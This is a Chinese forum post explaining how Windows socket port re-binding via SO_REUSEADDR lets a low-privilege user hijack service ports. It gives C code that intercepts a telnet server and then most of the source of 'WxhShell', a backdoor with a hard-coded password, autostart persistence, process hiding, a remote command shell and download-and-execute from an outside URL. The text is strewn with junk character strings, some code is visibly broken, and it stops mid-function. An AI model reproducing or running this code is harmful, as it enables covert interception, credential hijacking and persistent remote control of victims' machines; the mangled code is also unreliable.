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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e>Z&0lV:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S=!WFKcJR  
<7\j\`  
  saddr.sin_family = AF_INET; i3N{Dt  
3u/JcU-<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $It mYj.m  
D0FX"BY7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3P2{M}WIl  
:&vX0 Ce:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?IHt T3'Rt  
0@-4.IHl  
  这意味着什么?意味着可以进行如下的攻击: FDLo|aP/v  
[8sYEh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KQNQ<OE 4  
Ul_Zn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OlRXgJ  
4@{c K|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d/Q#Z  
t2(X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .))j R:{3  
=eU=\td^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vYm:V:7Y2  
"@eGgQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /f1]U LmC:  
Q /4-7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t[`LG)  
Gg'!(]v  
  #include ]i.N'O<p  
  #include QX<n^W  
  #include < bC'.m  
  #include    .Q!d[vL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l2St)`K8  
  int main() Z&Ob,Ru  
  { 1]Xx {j<  
  WORD wVersionRequested; *gwlW/%Fz  
  DWORD ret; 9AVj/?kmU  
  WSADATA wsaData; u>fMO9X} 2  
  BOOL val; wkx9@?2*  
  SOCKADDR_IN saddr; %@Gy<t,  
  SOCKADDR_IN scaddr; D#&9zR86F  
  int err; LVB wWlJ  
  SOCKET s; Hh^ "c}  
  SOCKET sc; =\%ER/  
  int caddsize; dXh[Ea^  
  HANDLE mt; .8|wc  
  DWORD tid;   6 H P 66B  
  wVersionRequested = MAKEWORD( 2, 2 ); ),p0V  
  err = WSAStartup( wVersionRequested, &wsaData ); M/p9 I gp  
  if ( err != 0 ) { ?0/$RpFEM#  
  printf("error!WSAStartup failed!\n"); r89AX{:  
  return -1; /&Oo)OB;  
  } 0Gs\x  
  saddr.sin_family = AF_INET; F}u'A,Hc  
   _gqqPny4$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c1k[)O~  
nKm# kb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p [C 9g  
  saddr.sin_port = htons(23); (&SU)Uvu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e' l9  
  {  7(+4^  
  printf("error!socket failed!\n"); x8@ 4lxj  
  return -1; + kKanm[!v  
  } n\((#<&  
  val = TRUE; <(jk}wa<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 00 x -  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]%A> swCpn  
  { ,<%uG6/",g  
  printf("error!setsockopt failed!\n"); EN2t}rua  
  return -1; 4C3_ gm  
  } Nj4CkMM[3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JW[6 ^Rw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D-BT`@~l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gf"TI:xa  
i"a3POV>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U~][ ph  
  { Wm6qy6HR  
  ret=GetLastError(); d78 [(;  
  printf("error!bind failed!\n"); $.Tn\4z&  
  return -1; 5K1cPU~o_b  
  } M)oKtiav*  
  listen(s,2); 'd$RNqe  
  while(1) x9 Z89Gwi  
  { XZKlE F?  
  caddsize = sizeof(scaddr); 3Qe|'E,U  
  //接受连接请求 Li6|c*K'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =\.*CY|;N  
  if(sc!=INVALID_SOCKET) G*N[tw  
  { `Qo37B2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mm@G{J\\  
  if(mt==NULL) ~wDXjn"U&  
  { I0zx'x)F  
  printf("Thread Creat Failed!\n"); BEaF-*?A  
  break; @??3d9I  
  } _!o8s%9be  
  } $!*>5".A  
  CloseHandle(mt); !0@4*>n  
  } o9e8Oj&  
  closesocket(s); )K{s^]Jp  
  WSACleanup(); )9`HO?   
  return 0; |;US)B8}*Z  
  }   Dq<la+VlO  
  DWORD WINAPI ClientThread(LPVOID lpParam) :+/8n+@#  
  { n!z!fh  
  SOCKET ss = (SOCKET)lpParam; V,rc&97  
  SOCKET sc; -E?:W`!  
  unsigned char buf[4096]; o^~ZXF}  
  SOCKADDR_IN saddr; 5\pS8<RJ;  
  long num; Xeq9Vs zg  
  DWORD val; sg7h&<Xx  
  DWORD ret; CnB[ImMs(A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j<~Wp$\i7>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3FR(gr$X  
  saddr.sin_family = AF_INET; -Rw3[4>@O"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '* y(F*7+  
  saddr.sin_port = htons(23); OCrTzz8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V#w$|2  
  { `w 6Qsah  
  printf("error!socket failed!\n"); HMF2sc$N  
  return -1; qt@/  
  } +4%~.,<_to  
  val = 100; ] x)>q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lV^#[%  
  { R/v|ZvI  
  ret = GetLastError(); u&I c  
  return -1; p*c(dkOe8  
  } N] sbI)Z@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &AJ bx  
  { ;=,-C ;`  
  ret = GetLastError(); `6VnL)  
  return -1; }eVDe(7_  
  } 3tf_\E+mIi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) et+lL"&  
  { B9NUafK=  
  printf("error!socket connect failed!\n"); VF2,(f-*  
  closesocket(sc); IRQtA ZV$  
  closesocket(ss); ]!AS%D`  
  return -1; .5Y{Yme  
  } z]N#.utQ  
  while(1) U*a#{C7"  
  { ?IAu,s*u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |V\{U j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ 3=pFYW)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F[}#7}xjA  
  num = recv(ss,buf,4096,0); `$ f`55e  
  if(num>0) Xq$-&~   
  send(sc,buf,num,0); @!")shc  
  else if(num==0) 73X*|g  
  break; ^}~Q(ji7  
  num = recv(sc,buf,4096,0); XDCm  
  if(num>0) Trs~KcsD  
  send(ss,buf,num,0); hhPQ.{]>  
  else if(num==0) )(G<(eiD  
  break; tlQ6>v'  
  } YxM\qy {Vr  
  closesocket(ss); V5lUh#@TN&  
  closesocket(sc); #[M^Q h  
  return 0 ; ywp_,j9F  
  } fSbLkd 9  
j:cu;6|  
 t/t6o&  
========================================================== #|E#Rkw!  
neu+h6#H  
下边附上一个代码,,WXhSHELL A>gZl)c  
%q|* }l  
========================================================== G@DNV3Cc  
 s;bGg  
#include "stdafx.h" sX6\AYF1M  
-E\G3/*51  
#include <stdio.h> lx2#C9L_  
#include <string.h> /4Wf\ Zu  
#include <windows.h> g sm%4>sc  
#include <winsock2.h> R8[VD iM6E  
#include <winsvc.h> 0 8L;u7u  
#include <urlmon.h> 9!=4}:+  
,5zY1C==Ut  
#pragma comment (lib, "Ws2_32.lib") 6kp)'wz`  
#pragma comment (lib, "urlmon.lib") A~Sc ] M  
+>C26Q  
#define MAX_USER   100 // 最大客户端连接数 Y[L,rc/j  
#define BUF_SOCK   200 // sock buffer sP^:*B0  
#define KEY_BUFF   255 // 输入 buffer Jy:*GW6  
a.<XJ\  
#define REBOOT     0   // 重启 k I`HD  
#define SHUTDOWN   1   // 关机 (KC08  
)>h3IR  
#define DEF_PORT   5000 // 监听端口 )*}\fmOv{  
0Lj;t/mG  
#define REG_LEN     16   // 注册表键长度 !PoyM[Z"f  
#define SVC_LEN     80   // NT服务名长度 ^ q ba<#e  
(QIU3EN  
// 从dll定义API 4OM ]8I!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 0zM8<bl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?M4ig_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UZt3Ua&J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &c-V QP(  
vVtkB$]L  
// wxhshell配置信息 CX/[L)|Ru  
struct WSCFG { ^e^-1s  S  
  int ws_port;         // 监听端口 agfDx ^,  
  char ws_passstr[REG_LEN]; // 口令 L$c 1<7LU  
  int ws_autoins;       // 安装标记, 1=yes 0=no B> E4,"  
  char ws_regname[REG_LEN]; // 注册表键名 7Q{&L#;  
  char ws_svcname[REG_LEN]; // 服务名 ]uhG&: }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J37vA zK%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]u|FcwWc3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !N+{X\+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pqs!kSJV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ^4WZ%J#g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ke^/aGi}O  
R{brf6,  
}; R|Bi%q|4P  
ZWyf.VJ  
// default Wxhshell configuration o&q:b9T  
struct WSCFG wscfg={DEF_PORT, 3U?gw!M>  
    "xuhuanlingzhe", OkQ< Sc   
    1, zz3{+1w]  
    "Wxhshell", SKf;Fe  
    "Wxhshell", y46sL~HRv  
            "WxhShell Service", 8B6(SQp%  
    "Wrsky Windows CmdShell Service", / tkV/  
    "Please Input Your Password: ", S8;c0}-  
  1, vKoQ!7g  
  "http://www.wrsky.com/wxhshell.exe", T: '<:*pD  
  "Wxhshell.exe" 7KC2%s#7  
    }; &Kc45  
f~?5;f:E  
// 消息定义模块 @pvQci  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %j0c|u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]\ZJaU80I~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C]ho7qC  
char *msg_ws_ext="\n\rExit."; QWm g#2'  
char *msg_ws_end="\n\rQuit."; J'#o6Ud  
char *msg_ws_boot="\n\rReboot..."; Rwj 3o  
char *msg_ws_poff="\n\rShutdown..."; j bOwpyH  
char *msg_ws_down="\n\rSave to "; 2CtCG8o  
9@ h-q(-  
char *msg_ws_err="\n\rErr!"; R,!a X"]|  
char *msg_ws_ok="\n\rOK!"; &z\?A2Mw%  
B_c-@kl   
char ExeFile[MAX_PATH]; vO zUAi  
int nUser = 0; R=NK3iGTf  
HANDLE handles[MAX_USER]; *W}nw$tnBX  
int OsIsNt; [A uA<  
*~#`LO  
SERVICE_STATUS       serviceStatus; ] C_$zbmi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /#x0?d {5  
;cv\v(0  
// 函数声明 ^7kYG7/  
int Install(void); 's8LrO(=  
int Uninstall(void); d8jP@>  
int DownloadFile(char *sURL, SOCKET wsh); j}%C;;MPH  
int Boot(int flag); $xcU*?=K  
void HideProc(void); O[}2  
int GetOsVer(void); ac43d`wpK  
int Wxhshell(SOCKET wsl); yW(A0  
void TalkWithClient(void *cs); @`sZV8  
int CmdShell(SOCKET sock); z[+pN:47  
int StartFromService(void); *q1sM#;5  
int StartWxhshell(LPSTR lpCmdLine); KH$o X\v  
d$D3iv^hyx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OYfP!,+bn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ui*CA^ Y  
Ag]Hk %  
// 数据结构和表定义 +P*,i$MV  
SERVICE_TABLE_ENTRY DispatchTable[] = P^/e!%UgC  
{ vdulrnGqL  
{wscfg.ws_svcname, NTServiceMain}, t-hN4WKH_A  
{NULL, NULL} A@EUH  
}; g;nPF*(  
@rW%*?$7  
// 自我安装 0j-;4>p  
int Install(void) ^@q $c  
{ V/DdV}n!  
  char svExeFile[MAX_PATH]; `ucr;P  
  HKEY key; `{@?O%UB  
  strcpy(svExeFile,ExeFile); >\ym{@+*  
pc_$,RkN  
// 如果是win9x系统,修改注册表设为自启动 A$'rT|>se  
if(!OsIsNt) { 9TE-'R@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IPh_QE2g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FU(s jB  
  RegCloseKey(key); #w]:<R^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZsDn`8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #kEa&Se  
  RegCloseKey(key); VV~Kgy  
  return 0; KA {Y*m^7  
    } \tg}K0E?R5  
  } ^p7Er!  
} OY#=s!] M  
else { S$fCO$bU  
d,).O  
// 如果是NT以上系统,安装为系统服务 T EqCoeR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  ^pZ\:  
if (schSCManager!=0) =kWm9W<^  
{ ,W<mz7Z(@  
  SC_HANDLE schService = CreateService r \]iw v  
  ( bX]$S 5c_u  
  schSCManager, @Nt$B'+S&  
  wscfg.ws_svcname, #%tN2cFDN  
  wscfg.ws_svcdisp, zFV?,"\r  
  SERVICE_ALL_ACCESS, ?IV3"\5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bQ2 '*T  
  SERVICE_AUTO_START, uYwJ[1 C  
  SERVICE_ERROR_NORMAL, &mp@;wI6@  
  svExeFile, 1=%\4\  
  NULL, -J*jW N!  
  NULL, VFwp .1oa!  
  NULL, owc#RW9 7  
  NULL, > jvi7  
  NULL '=vD!6=0@  
  ); KrT+Svm  
  if (schService!=0) Cy##+u,C  
  { 8MPXrc,9-  
  CloseServiceHandle(schService); w873: =  
  CloseServiceHandle(schSCManager); :Keek-E`e=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j_*#"}Lcp  
  strcat(svExeFile,wscfg.ws_svcname); Li_ a|dI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x5}Ru0Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g"sW_y_O  
  RegCloseKey(key); 6muZE1sn  
  return 0; ,.<l^sj5  
    } ;M"JN:J8  
  } 8wqHr@}p  
  CloseServiceHandle(schSCManager); sP5\R#  
} M7;P)da  
} ajz%3/R  
aE( j_`L78  
return 1; jDO[u!J6.%  
} J0M7f]  
*:3`$`\54  
// 自我卸载 ( XoL,lJ  
int Uninstall(void) RcH",*U  
{ N&t+*kF_  
  HKEY key; H)5v X+9D  
rOu7r4  
if(!OsIsNt) { k%)QrRnB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SXA_P{j&a  
  RegDeleteValue(key,wscfg.ws_regname); ;'r} D!8w/  
  RegCloseKey(key); ^H1B 62_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8D U|j-I8  
  RegDeleteValue(key,wscfg.ws_regname); EsU-Ckb_2:  
  RegCloseKey(key); +,"/z\QO  
  return 0; P'6eK?  
  } 4b B)t#  
} B6iH[dTy_  
} J!,<NlP0K  
else { -%lA=pS{Fq  
'Bp7LtG92  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vn-y<*np  
if (schSCManager!=0) ;V~[kF=t0  
{ c _li.]P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0a??8?Q1G  
  if (schService!=0) Q9 b.]W  
  { X rVF %  
  if(DeleteService(schService)!=0) { j ,' $i[F'  
  CloseServiceHandle(schService); OFTyN^([@  
  CloseServiceHandle(schSCManager); }Zue?!KQ  
  return 0; I=)u:l c  
  } 0[JJ  
  CloseServiceHandle(schService); p ] V  
  } [Az<E3H"  
  CloseServiceHandle(schSCManager); /L8Q[`;.  
} ?[}r& f  
} ~e5hfZv|w  
ew# t4~hh  
return 1; sF$$S/b  
} 25RFi24>D  
1o. O]>  
// 从指定url下载文件 oZkjg3  
int DownloadFile(char *sURL, SOCKET wsh) YzqUOMAt"V  
{ OsMU>v }m  
  HRESULT hr; \s8j*  
char seps[]= "/"; |gW>D=rkj  
char *token; FabzP_<b  
char *file; mX9amS&B$  
char myURL[MAX_PATH]; dMw0Aw,2]8  
char myFILE[MAX_PATH]; #MbkU])  
RG9YA&1ce  
strcpy(myURL,sURL); ykv,>nSXLL  
  token=strtok(myURL,seps); k[0Gz  
  while(token!=NULL) |^^'GZ%a  
  { `;yfSoY  
    file=token; Lj"@JF;c  
  token=strtok(NULL,seps); t%$>  
  } X\:;A{  
r5kKNyJ  
GetCurrentDirectory(MAX_PATH,myFILE);  x w8 e  
strcat(myFILE, "\\"); owDp?Sy}E  
strcat(myFILE, file); bhqBFiuhH  
  send(wsh,myFILE,strlen(myFILE),0); $[L~X M  
send(wsh,"...",3,0); ALVHKL2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b!C\J  
  if(hr==S_OK) K!c "g,S  
return 0; rz%8V igb  
else xx`xDD  
return 1; ztcV[{[g  
n.&z^&$w\)  
} K}e %E&|>  
&eL02:[  
// 系统电源模块 DlHt#Ob7  
int Boot(int flag) .v?x>iV  
{ v803@9@  
  HANDLE hToken; WZ\bm$  
  TOKEN_PRIVILEGES tkp; A dNQS  
^=f<WKn  
  if(OsIsNt) { WC6yQSnY&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I d6H~;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OIpkXM  
    tkp.PrivilegeCount = 1; zPzy 0lx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iI|mFc|V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZG29q>  
if(flag==REBOOT) { wldv^n hM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >yr:L{{D}G  
  return 0; } + ]A?'&  
} HjCWsQM  
else { PE $sF ]/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i2]7Bf)oV  
  return 0; pZo:\n5o  
} |]--sUx:  
  } BG>fLp  
  else { -MEp0  
if(flag==REBOOT) { 1:!_AU?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6# [  
  return 0; w; [ndZCY7  
} zSy^vM;6zf  
else { V iY-&q'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `1}WQS  
  return 0; aQjs5RbP~  
} 05o)Q &`  
} :G3PdQb^  
GM_~2Er]  
return 1; +rAmy  
} -;NGS )RM  
t6/w({}j  
// win9x进程隐藏模块 LqNt.d @  
void HideProc(void) O+iNR9O  
{ ''t\J^+&  
bSa%?laS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); } Xbmb8  
  if ( hKernel != NULL ) %r E:5)  
  { tuT>,BbR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k P]'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _}bs0 kIz  
    FreeLibrary(hKernel);  cs+;ijp  
  } pco:]3BF6  
5;WESk  
return; s fD@lW3  
} S vTd#>ke  
~Up5+7k@  
// 获取操作系统版本 -!o*A>N  
int GetOsVer(void) N>pTl$\4  
{ 2VpKG*!\  
  OSVERSIONINFO winfo; 8jBrD1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); olm0O  (9  
  GetVersionEx(&winfo); !4.VK-a9V%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JM&`&fsOC{  
  return 1; o >wty3l:  
  else A9 *P7  
  return 0; :.DZ~I  
} 2:5Go  
]|m?pt  
// 客户端句柄模块 nXU`^<nA  
int Wxhshell(SOCKET wsl) u[:-^H  
{ `T'[H/  
  SOCKET wsh; t=l@(%O 0_  
  struct sockaddr_in client; ^LI\W'K  
  DWORD myID; >H r&F nh+  
! 3 ;;6  
  while(nUser<MAX_USER) 9%#u,I  
{ Rb/|ae  
  int nSize=sizeof(client); ^X]rFY1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u0Q 6 +U  
  if(wsh==INVALID_SOCKET) return 1; b=L4A,w~a  
Z=+Tw!wR>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;*c8,I;  
if(handles[nUser]==0) "?*B2*|}`  
  closesocket(wsh); ,=a+;D]'  
else ]F{F+r  
  nUser++; #]rfKHW9  
  } "xI70c{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QLm#7ms*y  
,+P2B%2c  
  return 0; 'G1~ A +  
} yac4\%ze  
:$=]*54`T  
// 关闭 socket + *W%4e  
void CloseIt(SOCKET wsh) MZrLLnl6\  
{ dz6&TdEl  
closesocket(wsh); */_$' /q V  
nUser--; `w8Ejm?n  
ExitThread(0); G1 K@Ir<  
} a S;z YD  
uv|RpIve:  
// 客户端请求句柄 sB@9L L]&|  
void TalkWithClient(void *cs) Nf5zQ@o_y  
{ i}L*PCP  
Vg^yjP{sv  
  SOCKET wsh=(SOCKET)cs; $6l^::U  
  char pwd[SVC_LEN]; N,bH@Q.Ci  
  char cmd[KEY_BUFF]; Hg~8Td**  
char chr[1]; >qy$W4  
int i,j; j'uzjs[  
qV#,]mX  
  while (nUser < MAX_USER) { cy64xR BB  
Qef5eih  
if(wscfg.ws_passstr) { M7fPaJKL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IKrojK8-?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1wH_!%b  
  //ZeroMemory(pwd,KEY_BUFF); %ONU0xtqk  
      i=0; J4]tT pu"K  
  while(i<SVC_LEN) { s?JOGu  
L9]y~[R:  
  // 设置超时 yHo#v:>?p  
  fd_set FdRead; no$X0ia  
  struct timeval TimeOut; z8dBfA<z  
  FD_ZERO(&FdRead); *DgRF/S  
  FD_SET(wsh,&FdRead); A I v  
  TimeOut.tv_sec=8; Ow N~-).%-  
  TimeOut.tv_usec=0; 8 \"A-+_Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I]z4}#+cX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hg7_ZjO  
oe*fgk/o9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >~l^E!<i-u  
  pwd=chr[0]; #[&9~za'"m  
  if(chr[0]==0xd || chr[0]==0xa) { (GoxiX l  
  pwd=0; jL{k!V`s  
  break; 84lT# ^q  
  } I{$TMkh[  
  i++; I.gF38Mx  
    } 3>v-,S+  
Ou_2UT  
  // 如果是非法用户,关闭 socket Obx!>mI^6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @rv)J[7Y&  
} q:1n=i Ei  
uovSe4q5q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k5|GN Y6a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )+Yu7=S  
G|I}x/X"Q7  
while(1) { BZa`:ah~x  
98maQQWD  
  ZeroMemory(cmd,KEY_BUFF); Jz]OWb *  
cK,&huk  
      // 自动支持客户端 telnet标准   t>2EZ{N +y  
  j=0; mT>RQ.  
  while(j<KEY_BUFF) { -;O"Y?ME  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [1l OGck[  
  cmd[j]=chr[0]; _n0NE0  
  if(chr[0]==0xa || chr[0]==0xd) { QuBA'4ht  
  cmd[j]=0; b"2_EnE}1  
  break; Jim5Ul  
  } \('WS[$2  
  j++; NE><(02qW  
    } Uuktq)NU  
:7*9W|e  
  // 下载文件 5,BvT>zFY  
  if(strstr(cmd,"http://")) { KP`Pzx   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WQ9VcCY  
  if(DownloadFile(cmd,wsh)) Ri3*au/Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^YUu`P  
  else y J>Bc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g'9~T8i& ^  
  } 4,&f#=Y  
  else { 1*f/Y9 Z  
?jsgBol  
    switch(cmd[0]) { JF'<""  
  PB)vE  
  // 帮助 /vPr^Wv  
  case '?': { ^SbxClUfw!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s)+] pxV0-  
    break; e35")z~  
  } %NcBq3  
  // 安装 4WPco"xH!  
  case 'i': { j>5X^Jd  
    if(Install()) dpT?*qLM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LlD=c  
    else w3;T]R*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |+Xh ^E  
    break; !/]z-z2>  
    } y"iK)SH  
  // 卸载 94?/Rhs5  
  case 'r': { h(i_'P?  
    if(Uninstall()) 8g?2( MT;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~A:*2\  
    else F5+!Gb En  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a :CeI  
    break; OX}ZdM!&f  
    } V"T5<HA9  
  // 显示 wxhshell 所在路径 w6ck wn,  
  case 'p': { 4 g8t  
    char svExeFile[MAX_PATH]; Xif>ZL?aXb  
    strcpy(svExeFile,"\n\r"); #dFE}!"#`  
      strcat(svExeFile,ExeFile); yQq|!'MKk  
        send(wsh,svExeFile,strlen(svExeFile),0); qykI[4  
    break; [;#^h/5E  
    } xs?]DJj  
  // 重启 )h,}v()qc#  
  case 'b': { bR J]avR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^vZu[ m  
    if(Boot(REBOOT)) 6&btAwvOHx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >}r 1A  
    else { lr[&*v?h  
    closesocket(wsh); gu1n0N`b  
    ExitThread(0); !N/?b^y  
    } \*#E4`Y  
    break; ]{AHKyA{:  
    } ~7H?tp.Dw  
  // 关机 T^g i^{  
  case 'd': { Q) iN_|  
